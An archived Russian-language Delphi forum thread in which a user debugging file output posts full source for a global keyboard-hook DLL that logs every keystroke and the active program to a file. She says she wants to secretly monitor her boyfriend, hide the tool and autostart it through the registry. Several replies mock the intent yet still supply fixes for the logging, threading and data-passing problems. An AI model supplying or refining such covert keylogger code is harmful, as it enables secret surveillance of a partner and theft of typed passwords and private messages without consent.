Текущий архив: 2006.09.03;
Скачать: CL | DM;
Вниз
Запись в текстовый файл Найти похожие ветки
← →
Tanya (2006-07-26 21:33) [0]Что-то я никак не пойму почему не работает запись в файл... Делаю я так:
var
F: TextFile;
при запуске программы:
AssignFile(F, "file.dat");
if FileExists("file.dat") then
Append(F)
else
Rewrite(F);
при закрытии программы:
CloseFile(F);
во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):
WriteLn(F, "test");
Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..
← →
Джо © (2006-07-26 21:34) [1]Предлагаю попробовать передавать в AssignFile полное имя файла с путем.
← →
Tanya (2006-07-26 21:38) [2]Всеравно пустой...((( Может это из за того что я все это сделала в библиотеке? Вроде без разнице где...
← →
Tanya (2006-07-26 21:40) [3]Я попробовала выводить сообщение еще в программе после строки
WriteLn(F, "test");
так вот почему-то оно не выводится, такое ощущение что программа останавливается на этой строке...
← →
Calibr © (2006-07-26 21:40) [4]Попробуй сделать так:
AssignFile(f, ExtractFilePath(Application.ExeName) + "file.dat");
должно получиться!!!
← →
Джо © (2006-07-26 21:42) [5]Телепатор, честное слово, сдал в починку :)
Если есть желание выложить куда-нибудь полный код (или сразу проект, если он не велик и не содержит сторонних компонентов) , то обещаю посмотреть на него.
← →
Джо © (2006-07-26 21:43) [6]П.С. Во избежание дальнейших недоразумений, Татьяна, рекоммендую впредь подобные вопросы сразу постить в конференции "Начинающим".
← →
Мефисто (2006-07-26 21:47) [7]По F1
var
f: TextFile;
begin
if OpenDialog1.Execute then
begin { open a text file }
AssignFile(f, OpenDialog1.FileName);
Append(f);
Writeln(f, "I am appending some stuff to the end of the file.");
{ insert code here that would require a Flush before closing the file }
Flush(f); { ensures that the text was actually written to file }
CloseFile(f);
end;
end;
← →
Tanya (2006-07-26 22:04) [8]Хорошо Джо, буду писать в "Начинающим"..)) Выкладываю весь код:
Программа:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, XPMan, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
XPManifest1: TXPManifest;
procedure Button1Click(Sender: TObject);
end;
var
Form1: TForm1;
procedure RunHook; stdcall; external "MyLib.dll" index 1;
procedure StopHook; stdcall; external "MyLib.dll" index 2;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
if Button1.Caption = "Run" then
begin
Button1.Caption := "Stop";
RunHook;
end
else
if Button1.Caption = "Stop" then
begin
StopHook;
Button1.Caption := "Run";
end;
end;
end.
Библиотека:
library MyLib;
uses
Windows, Messages, Dialogs, SysUtils;
var
F: TextFile;
SysHook: HHook = 0;
function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
ModuleFileName: array[0..MAX_PATH-1] of Char;
KeyBS: TKeyboardState;
pTransChar : PChar;
begin
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyBoardState(KeyBS);
GetMem(pTransChar, 3);
ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));
GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));
WriteLn(F, ModuleFileName);
WriteLn(F, pTransChar^);
FreeMem(pTransChar);
Result := 0;
end
else
Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;
procedure RunHook; export; stdcall;
begin
AssignFile(F, "c:\file.dat");
if FileExists("c:\file.dat") then
Append(F)
else
Rewrite(F);
SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;
procedure StopHook; export; stdcall;
begin
UnHookWindowsHookEx(SysHook);
SysHook := 0;
CloseFile(F);
end;
exports
RunHook index 1,
StopHook index 2;
P.S. Часть текста скопиравана с http://delphimaster.net/view/2-1153923540/ Идея понравилась, хочу проверить своего парня...)))
← →
tesseract © (2006-07-26 22:08) [9]> [8] Tanya (26.07.06 22:04)
в DLL общие переменные плохо храняться. Прокисают.
Вот и вся проблема.
Лучше запускать отдельно сервис и в него передавать через WM_COPYDATA данные перехвата из DLL.
ЗЫ: Лучше парню поесть приготовьте получше - он оценит.
← →
Мефисто (2006-07-26 22:17) [10]
> хочу проверить своего парня...)))
Подгялдывать, не хорошо!...
Ералаш (с)
← →
Tanya (2006-07-26 22:21) [11]Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто хочу сделать ее незаметной, функции из библиотеки прописать на события запуска и выключения Windows-а в реестре..
← →
Джо © (2006-07-26 22:23) [12]Самое простое — открывать файл для записи, делать запись и закрывать файл прямо в SysMsgProc.
← →
Tanya (2006-07-26 22:27) [13]Я так поняла что можно...))) Как вы думаете, на много это будет медленней работать, чтобы нагрузка на компъютер минимальная была?
← →
Tanya (2006-07-26 22:44) [14]Мастера, подскажите еще пожалуйста еще один момент, как прочитать заголовок окна, в котором вводятся эти символы? А еще если можно, чтобы каши небыло, если можно, я только предположила, можно ли опрежедить хендл строки ввода? Т.е. Edit или Memo теже, чтобы сортировать уже по фразам, окнам и т.д...)))
← →
Джо © (2006-07-26 22:45) [15]> [13] Tanya (26.07.06 22:27)
> Как вы думаете, на много это
> будет медленней работать, чтобы нагрузка на компъютер минимальная
> была?
Практика — критерий истины (c)
← →
tesseract © (2006-07-26 22:50) [16]> [12] Джо © (26.07.06 22:23)
Тормозить будет, лучше сообщениями.
← →
tesseract © (2006-07-26 22:54) [17]> [14] Tanya (26.07.06 22:44)
GetForegroundWindow - тоже прибавит нагрузки.
← →
default © (2006-07-26 22:57) [18]что нынче кухонные плиты с панелью для программирования стали выходить?
сомневаюсь, а ну марш к плите!
← →
Tanya (2006-07-26 23:02) [19]Я придумала ))) Сделаю переменную типа TStringList и буду туда все скидывать, а потом при выключении сохраню один раз в файл ))) Только бы вот не "прокисла" бы эта переменная, до того как сохранить в файле...
← →
tesseract © (2006-07-26 23:02) [20]> [18] default © (26.07.06 22:57)
Будешь смеяться, но есть :-)
← →
tesseract © (2006-07-26 23:04) [21]> [19] Tanya (26.07.06 23:02)
прокиснет, надо сделать приложение, которое будет писать в файл по сообщению от DLL. В универе такое делал. Работало.
← →
default © (2006-07-26 23:05) [22]tesseract © (26.07.06 23:02) [20]
с Delphi?
← →
tesseract © (2006-07-26 23:07) [23]> [22] default © (26.07.06 23:05)
с ARM вроде - был pascal для него :-)
← →
Джо © (2006-07-26 23:07) [24]> Сделаю переменную типа TStringList и буду туда все скидывать,
> а потом при выключении сохраню один раз в файл ))) Только
> бы вот не "прокисла" бы эта переменная, до того как сохранить
> в файле...
Прокиснет, не сомневайся :)
← →
Tanya (2006-07-26 23:13) [25]интересно а в новых версиях Delphi(у меня 7) или вообще в C++ тоже такая проблема с переменными в библиотеках?
← →
tesseract © (2006-07-26 23:18) [26]> [25] Tanya (26.07.06 23:13)
Это ограничение Dll и so.
не предназначены они, для хранения разделяемых данных.
← →
Tanya (2006-07-26 23:22) [27]Тогда у меня еще вопрос...))) Может тогда лучше будет вообще в программе это все реализовать, без dll? Будут ловиться нажатия клавиш?
← →
Tanya (2006-07-26 23:23) [28]Написать сервис например, тоже особо затно не будет...
← →
tesseract © (2006-07-26 23:23) [29]> [27] Tanya (26.07.06 23:22)
нет перехватчик должен быть в dll.
← →
Tanya (2006-07-26 23:26) [30]А почему именно в dll? Объясните пожалуйста..))
← →
tesseract © (2006-07-26 23:29) [31]> [30] Tanya (26.07.06 23:26)
exe не может проецироваться в адресное пространство других процессов.
п окрайней мере законно :-)
А hook"s aka перехватчики - это стандартный механизм ОС. И реализуется он в Dll. на Rsdn.ru была отличная статья по данной теме.
ЗЫ: Да я писал свой свой менеджер горячих клавиш :-)
← →
-=Germe$=- © (2006-07-27 06:47) [32]Вы вообще о чем?? Как текстовый вайл может иметь расширение .dat оно обязательно должно иметь расширение .txt
← →
Джо © (2006-07-27 06:57) [33]> [32] -=Germe$=- © (27.07.06 06:47)
> Вы вообще о чем?? Как текстовый вайл может иметь расширение
> .dat оно обязательно должно иметь расширение .txt
Рассмешил с утра, спасибо :)
← →
-=Germe$=- © (2006-07-27 07:14) [34]
> Рассмешил с утра, спасибо :)
Зря... Оно так и работает... Иди поучи паскаль....
← →
Slym © (2006-07-27 09:22) [35]Кстати ни кто даже не предположил что доступ к файлу получится многопоточный :(
1. если один раз открыть файл в dll то писаться может чушь
2. если каждый раз открывать файл в dll то в прекрасный момент он может не открыться, т.к. уже захвачен в др. потоке
← →
Slym © (2006-07-27 09:23) [36]Решение:
один поток с доступом к файлу, это может быть приложение устанавливающее хук
← →
Ditrix © (2006-07-27 09:47) [37]>>-=Germe$=- © (27.07.06 07:14) [32][34]
>>Зря... Оно так и работает... Иди поучи паскаль....
убил! :-)
imho орешника достойно
← →
isasa © (2006-07-27 10:34) [38]Slym © (27.07.06 09:22) [35]
Slym © (27.07.06 09:23) [36]
Если в потоке(процедуре SysMsgProc) его открывать, и после записи закрываь, что, скорее всего надо делать, все будет хорошо.
Кстати, данные какого потока загружены в данный момент
var
F: TextFile;
SysHook: HHook = 0;
код один, а данные у каждого свои.
← →
tesseract © (2006-07-27 10:46) [39]
> Slym © (27.07.06 09:23) [36]
три раза говорил про это.
← →
Slym © (2006-07-27 12:05) [40]tesseract © (27.07.06 10:46) [39]
Но ты подходил с позиции прокисшего хендла, а я с позиции незащищенного многопоточного доступа к неразделяемому ресурсу
Страницы: 1 2 3 вся ветка
Текущий архив: 2006.09.03;
Скачать: CL | DM;
Память: 0.57 MB
Время: 0.049 c